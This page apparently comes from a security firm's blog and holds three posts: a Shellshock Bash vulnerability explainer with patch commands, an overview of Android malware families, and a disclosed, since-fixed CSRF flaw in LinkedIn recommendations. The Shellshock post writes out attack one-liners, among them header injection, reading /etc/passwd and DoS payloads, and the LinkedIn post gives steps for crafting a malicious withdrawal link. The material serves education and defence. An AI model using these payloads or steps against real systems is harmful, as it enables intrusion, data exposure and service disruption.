On September 24th 2014, a publicly disclosed vulnerability was revealed in the UNIX/Linux which we have discussed in our blog http://varutra.com/blog/?p=1010. Although a patch has been released for this vunerability by vendors such as ubuntu,redhat and centos etc. but the patch was not successful, Additional vulnerability in the same area were discovered which left Bash again more vulnerable to severe attack such as arbitrary remote code execution. The set of vulnerability collectively known as shell shock are serious issue in many organizations. The CVE number that are part of this are CVE 2014-6271, CVE 2014-7169,  CVE 2014-7186, CVE 2014-7187, CVE 2014-6277 and CVE 2014-6278.

In response to shellshock, Richard Stallman (software freedom activist and computer programmer) said the bug was just a “blip”. It’s not, it’s a “blimp” — a huge nasty spot on the radar warning of big things to come. Three more related bugs have been found, and there are likely more to be found later. The cause isn’t that a programmer made a mistake, but that there is a systematic failure in the code — it’s obsolete, having been written to the standards of 1984 rather than 2014.

Detailed Explanation

The Shellshock problem is an example of an arbitrary code execution (ACE) vulnerability. Typically, ACE vulnerability attacks are executed on programs that are running, and require a highly sophisticated understanding of the internals of code execution, memory layout, and assembly language—in short, this type of attack requires an expert. Attacker will also use an ACE vulnerability to upload or run a program that gives them a simple way of controlling the targeted machine. This is often achieved by running a “shell”. A shell is a command-line where commands can be entered and executed. The Shellshock vulnerability is a major problem because it removes the need for specialized knowledge, and provides a simple (unfortunately, very simple) way of taking control of another computer (such as a web server) and making it run code. Suppose for a moment that you wanted to attack a web server and make its CD or DVD drive slide open. There’s actually a command on Linux that will do that: /bin/eject. If a web server is vulnerable to Shellshock you could attack it by adding the magic string () { :; }; to /bin/eject and then sending that string to the target computer over HTTP. Normally, the User-Agent string would identify the type of browser you are using, but, in in the case of the Shellshock vulnerability, it can be set to say anything.

Example: curl -H “User-Agent: () { :; }; /bin/eject” http://example.com/

would be enough to actually make the CD or DVD drive eject.

How does this Attack works?

When a web server receives a request for a page there are three parts of the request that can be susceptible to the Shellshock attack: the request URL, the headers that are sent along with the URL, and what are known as “arguments” (when you enter your name and address on a web site it will typically be sent as arguments in the request).

For example, here’s an actual HTTP request that retrieves the XYZ homepage:

cmd4

 

In this case the URL is / (the main page) and the headers are Accept-Encoding, Accept-Language, etc. These headers provide the web server with information about the capabilities of my web browser, my preferred language, the web site I’m looking for, and what browser I am using.

It’s not uncommon for these to be turned into variables inside a web server so that the web server can examine them. (The web server might want to know what my preferred language is so it can decide how to respond to me).

For example, inside the web server responding to the request for the XYZ home page it’s possible that the following variables are defined by copying the request headers character by character.

cmd 1

As long as those variables remain inside the web server software, and aren’t passed to other programs running on the web server, the server is not vulnerable.

Shellshock occurs when the variables are passed into the shell called “bash”. Bash is a common shell used on Linux systems. Web servers quite often need to run other programs to respond to a request, and it’s common that these variables are passed into bash or another shell.

The Shellshock problem specifically occurs when an attacker modifies the origin HTTP request to contain the magic () { :; }; string discussed above. Suppose the attacker change the User-Agent header above from

cmd2

to simply () { :; }; /bin/eject. This creates the following variable inside a web server:

cmd 3

If that variable gets passed into bash by the web server, the Shellshock problem occurs. This is because bash has special rules for handling a variable starting with () { :; };. Rather than treating the variable HTTP_USER_AGENT as a sequence of characters with no special meaning, bash will interpret it as a command that needs to be executed.

The problem is that HTTP_USER_AGENT came from the User-Agent header which is something an attacker controls because it comes into the web server in an HTTP request. And that’s a recipe for disaster because an attacker can make a vulnerable server run any command it wants (see examples below).

The solution is to upgrade bash to a version that doesn’t interpret () { :; }; in a special way.

Some attacks using shellshock

The Shellshock attack takes advantage of a flaw in Bash that enables attackers to execute remote commands that would ordinarily be blocked.

Allows an attacker to execute command via user agent, referrer, and other HTTP headers. shell shock

Figure : Working of Shellshock

The Shellshock problem is an example of an arbitrary code execution (ACE) vulnerability. A shell is a command-line where commands can be entered and executed.

  • Somebody could use your server as an attack bot:
    () { :; }; ping -s 1000000 <victim IP>
  • If victim.com was vulnerable then
    curl -H “User-Agent: () { :; }; /bin/eject” http://victim.com/
    Would be enough to actually make the CD or DVD drive eject.
  • To extract private information, attackers are using a couple of techniques. The simplest extraction attacks are in the form:
    () {:;}; /bin/cat /etc/passwd
  • DoS attack using Shellshock
    () { :;}; /bin/sleep 20| /sbin/sleep 20|/usr/bin/sleep 20

Proof of Concept for incomplete fix to shellshock

The bash fix for CVE-2014-6271 was incomplete and command injection is possible even after the patch has been applied. The issue is being tracked as CVE-2014-7169 and exists due to incorrect function parsing.

To test, execute this command from within a bash shell:

foo='() { echo not patched; }’ bash -c foo If you see “not patched“, you probably want upgrade immediately. If you see “bash: foo: command not found”, you’re OK.

Shell Shock --

 Figure: Unpatched Bash

The two attacks CVE-2014-6277(Permits remote code execution and requires a high level   of expertise. It has a CVSS score of 10.0) & CVE-2014-6278 (More severe as it allows remote code execution and doesn’t require a high level of expertise. It has a CVSS score of 10.0) are more severe and permit remote code execution:

These two vulnerabilities have been resolved in upstream patches Ubuntu/RHEL/Debian.

Deadening Shellshock

We strongly recommend applying the patches that were released on September 27th in order to remediate these new vulnerabilities by the following command:

APT-GET: Ubuntu / Debian

Update Bash to the latest version available via

apt-get: sudo apt-get update && sudo apt-get install –only-upgrade bash

YUM: CentOS / Red Hat / Fedora

Update Bash to the latest version available via the yum:

sudo yum update bash

For detailed explanation to mitigate the shellshock go through the links:

https://access.redhat.com/articles/1212303

http://www.bankinfosecurity.com/how-to-mitigate-shellshock-risks-a-7363/op-1

https://f5.com/solutions/mitigation/mitigating-the-bash-shellshock-cve-2014-6271-and-cve-2014-7169-vulnerabilities

http://www.akamai.com/html/security/shellshock-bash-cve-list.html

References:

https://www.cloudflare.com

http://seclists.org/oss-sec/2014/q3/650

https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-shellshock-bash-vulnerability

https://www.qualys.com

Author(s): Lokesh Bawariya Security Consultant & Sachin Wagh Security Consultant, Varutra Consulting

09/27/14

Shell Shock – The Bash Vulnerability

BASH (Baurne Again Shell)

Bash is the shell, or command language interpreter, that will appear in the GNU operating system. Bash is an sh-compatible shell that incorporates useful features from the Korn shell (ksh) and C shell (csh). It is intended to conform to the IEEE POSIX P1003.2/ISO 9945.2 Shell and Tools standard. It offers functional improvements over sh for both programming and interactive use. In addition, most sh scripts can be run by Bash without modification. Bash is quite portable. It uses a configuration system that discovers characteristics of the compilation platform at build time, and may therefore be built on nearly every version of UNIX. Ports to UNIX-like systems such as QNX and Minix and to non-UNIX systems such as OS/2, Windows 95/98, and Windows NT are available.

Here is a short list of feature available in bash:

  • History and Command Re-entry
  • Job Control
  • Shell Functions and Aliases
  • Arrays
  • Arithmetic
  • Brace Expansion
  • Substring Capabilities
  • Expanded I/O Capabilities
  • Command Timing
  • Editing and Completion etc..

Shell-shock:

The Bash vulnerability, now dubbed by some as “Shellshock,” has been reportedly found in use by an active exploit against Web servers. A security vulnerability in the GNU Bourne Again Shell (Bash), the command-line shell used in many Linux and Unix operating systems, could leave systems running those operating systems open to exploitation by specially crafted attacks. “This issue is especially dangerous as there are many possible ways Bash can be called by an application,”

The bug, discovered by Stephane Schazelas, is related to how Bash processes environmental variables passed by the operating system or by a program calling a Bash-based script. If Bash has been configured as the default system shell, it can be used by network–based attackers against servers and other Unix and Linux devices via Web requests, secure shell, telnet sessions, or other programs that use Bash to execute scripts.

Because of its wide distribution, the vulnerability could be as wide-ranging as the Heartbleed bug, though it may not be nearly as dangerous. The vulnerability affects versions 1.14 through 4.3 of GNU Bash.Examples of exploitable systems include the following:

  • Apache HTTP Servers that use CGI scripts (via mod_cgi and mod_cgid) that are written in Bash or launch to Bash subshells
  • Certain DHCP clients
  • OpenSSH servers that use the ForceCommandcapability
  • Various network-exposed services that use Bash

How to check a vulnerable application for shellshock:

There is an easy test to determine if a Linux or Unix system is vulnerable. To check your system, from a command line, type:

env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”

If the system is vulnerable, the output will be:

  vulnerable

  this is a test

Fixing Vulnerability:

The easiest way to fix the vulnerability is to use your default package manager to update the version of Bash. The following subsections cover updating Bash on various Linux distributions, including Ubuntu, Debian, CentOS, Red Hat, and Fedora.

APT-GET: Ubuntu / Debian

Update Bash to the latest version available via apt-get:

 sudo apt-get update && sudo apt-get install –only-upgrade bash

YUM: CentOS / Red Hat / Fedora

Update Bash to the latest version available via the yum:

sudo yum update bash

Note: Now check your system vulnerability again by running the command

For more information refer:  CVE-2014-6271

An unaffected (or patched) system will output:

 bash: warning: x: ignoring function definition attempt

 bash: error importing function definition for `x’

 this is a test

The fix is an update to a patched version of the Bash shell. To be safe, administrators should do a blanket update of their versions of Bash in any case.

References:

http://www.zdnet.com/shellshock-how-to-protect-your-unix-linux-and-mac-servers-7000034072/

http://www.cnet.com/news/vast-majority-of-os-x-users-safe-from-bash-shellshock-bug-apple-says/

 

Written By,

Attack & PenTest Team,

Varutra Consulting

08/25/14

Android Malwares – An Overview


GoogleBouncer
Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems. It can appear in the form of executable code, scripts, active content, and other software. ‘Malware’ is a general term used to refer to a variety of forms of hostile or intrusive software.

Mobile malware is a malicious software designed specifically to target a mobile device system, such as a tablet or smartphone to damage or disrupt the device and allow a malicious user to remotely control the device or to steal personal information stored on the device.

Android malwares are continuously spreading across the globe. The rate at which android malwares are targeting the mobile phones is increasing day by day. Users install android malwares knowingly or unknowingly when they install applications from untrusted sources. It is very important that Android user’s needs to be careful while installing applications from internet.

97% of mobile malware is on Android   by Forbes Report

In this article we will have overview of some well-known mobile malwares for android.

  • AndroRat
  • SandroRat
  • ZitMO (Zeus-in-the-mobile)
  • AcnetSteal
  • Cawitt
  • Gamex
  • PremiumSMS
  • KabStamper
  • Mania
  • SmsSpy
  • UpdtKiller

AndroRat: AndroRat is one of well-known open source proof of concept, which became an android remote access Trojan. AndroRat can bind with legitimate applications with the help of apk binder which is not freely available on internet which cost around $30-$40, available on underground hacking forums. AndroRat collects information from users mobile including contacts, call logs, messages, location, can take picture form camera, give call sends to the command and control center located at remote location.

SandroRAT Figure: AndroRat Apk Binder

SandroRat: SandroRat has functionalities like AndroRat including collecting contacts, call logs, messages, location, can take picture form camera, give call and sends information to the command and control center located at remote location.
Recently samples of SandroRat received by McAfee Labs from customer in Poland with name Kaspersky_Mobile_Security.apk. Spammers use phishing techniques to spread this malware with threating emails pretending from antivirus companies.

SandroRatEmailSample
Figure: SandroRat sample received via email

ZitMO: ZitMO is acronym of Zeus in the mobile. ZitMo is banking Trojan. ZitMo has capability to steal mobile transaction authorisation numbers (mTAN) sent by bank in text messages. ZitMo sends collected information remote server. A mobile version of Zeus also found on Blackberry smartphones.

ZitMoFigure: ZitMO

AcnetSteal: Acnetsteal gathers data and information from infected device. It collects information like email addresses, telephone numbers. AcnetSteal uses triple DES encryption to send collected information to remote location.

AcnetStealFigure: Acnetsteal

Cawitt: Cawitt silently runs the background and collects information and later forwards to server located at remote location. Information collected by cawitt includes device ID, IMEI, phone number, bot ID, Modules. Cawitt can also premium rate SMS messages from the device when it receives command from server.

cawittFigure: Cawitt

Gamex: Gamex hides its malicious components inside the package file. When gamex get root access by the user, it connects to command and control (C&C) server to download more applications and to forward device IMEI and IMSI numbers.

Gamex
Figure: Gamex

PremiumSMS: PremiumSMS android sends SMS to premium numbers and generates profit.It has a configuration file that contains data on the content of the SMS messages and the recipient numbers. Example of the sent messages:

 Number: 1151 Content: 692046 169 BG QCb5T3w Number: 1161 Content: 692046 169 BG QCb5T3w

PremiumSMSFigure: PremiumSMS

KabStamper: KabStamper malware has capability to corrupt images available on the infected devices. Basically it overwrites the images on the devices with predefined image. KabStamper is a malware that circulated in Japan during the AKB48 ‘election.’ AKB48 is a Japanese pop group that consists of 48 members. KabStamper is distributed via trojanized applications that deliver news and videos about the AKB48 group. It destroys images found in the sdcard/DCIM/camera folder that stores images taken with the device’s camera. Every five minutes malware checks this folder and modifies a found image by overwriting it with a predefined image.

KabStamperFigure: KabStamper

Mania: Mania is SMS sending malware that sends out messages with content “tel” or “quiz” to number 84242. It pretends to perform to perform license checking to cover up its SMS-sending activities in the background. Mania is known for using the trojanization technique, where it is repackaged with another original application in order to dupe victims.

ManiaFigure: Mania

SmsSpy: SmsSpy logs incoming and outgoing SMS message to a certain file, and uploads the file to a FTP server. SmsSpy poses as an Android Security Suite application that records received SMS messages into a secsuite.db. This malware targets banking consumers in Spain where it is spammed via a message indicating that an extra Security Protection program that protects the device is available for download.

SmsSpyFigure: SmsSpy

UpdtKiller: UpdtKiller connects to command and control(C&C) server, where it forwards users data to and receives further commands. This malware is also capable of killing antivirus processes in order to avoid being detected.

UpdtKillerFigure: UpdtKiller

So how an android user can prevent himself / herself from such malwares and download authentic applications securely?

Android users should use Google play store to install application, all the application submitted to Google play store evaluated by Google Bouncer. Google Bouncer analyses the application to detect the malicious behavior in its cloud infrastructure.

Preventions:

  • Do not download android applications from untrusted sources.
  • Check the permissions of application before installing.
  • Always keep your operating system secure by downloading and applying any security patches released by your smartphone vendors (to check OS level vulnerabilities on your mobile download MVD application).

Conclusion: : Android is one of the popular mobile operating system and it holds around 80% of mobile market share; the reason Android is favorite target for attackers and so the increasing threat from android malwares. User needs to be alerted while downloading any applications from Internet and keep their phone OS up-to-date with security patches.

References:

http://www.forbes.com/sites/gordonkelly/2014/03/24/report-97-of-mobile-malware-is-on-android-this-is-the-easy-way-you-stay-safe/
http://home.mcafee.com/virusinfo/virusprofile.aspx?key=2344277
http://www.f-secure.com/

Author: Snehal Raut
Security Consultant, Varutra Consulting

06/30/14

CSRF Vulnerability on LinkedIn

csrf_linkedin

In previous blog we have seen a critical vulnerability in LinkedIn password reset module allowing an attackers to compromise LinkedIn user’s account and how helpless a LinkedIn user in case of an actual compromise of his / her account in real world scenario.

Here is a new vulnerability Cross-Site Request Forgery, CSRF present on LinkedIn Recommendation Section, which allows attacker to delete any Recommendation of Any user. 

 

Lets us understand the issue and simplicity of this attack.

1. Attacker / malicious LinkedIn user can check the recommendation given by LinkedIn User 1 to LinkedIn User 2.

2. Attacker logs into LinkedIn account, goes to the web page source and search for strings such as “Recommendation for USERNAME”.

csrf2

 Figure: Web page source shows the recommendation details with a unique Id ”515940281” for User 1’s recommendations to User 2.

 

3. To craft a malicious CSRF link attacker goes to Manage Recommendation area and check for any recommendations he has posted for others.  Clicks on it and copy the URL for any one recommendation.

The URL will be

https://www.linkedin.com/recommendations?dep=&recID=515830421&goback=%2Enas_*1_*1_*1%2Eprs

csrf1

Figure: Analyzing and collecting URL for Displaying and Withdrawing a User’s recommendation.

 4. Now same way the URL to withdraw any given recommendation by the attacker is

https://www.linkedin.com/recommendations?wdr=&recID=515830421&goback=%2Enas_*1_*1_*1%2Eprs

The only difference is to change the parameter from ‘dep’ to ‘wdr’.

Craft a URL for removing or withdrawing recommendation from User 1 to User 2 is

https://www.linkedin.com/recommendations?wdr=&recID=515940281

This is the shortest and simplest form of the vulnerable CSRF link.

5. Send this URL to User 1 in an email. More dangerously, the same CSRF link can be send using LinkedIn mail feature.

6. On clicking this link by User 1 the selected recommendation given by User 1 to User 2 will be withdrawn or deleted.

 

On reporting this issue LinkedIn was prompt to acknowledge the vulnerability and have mitigated it.

More can be read at http://packetstormsecurity.com/files/127259/

Written By,

Attack & PenTest Team,

Varutra Consulting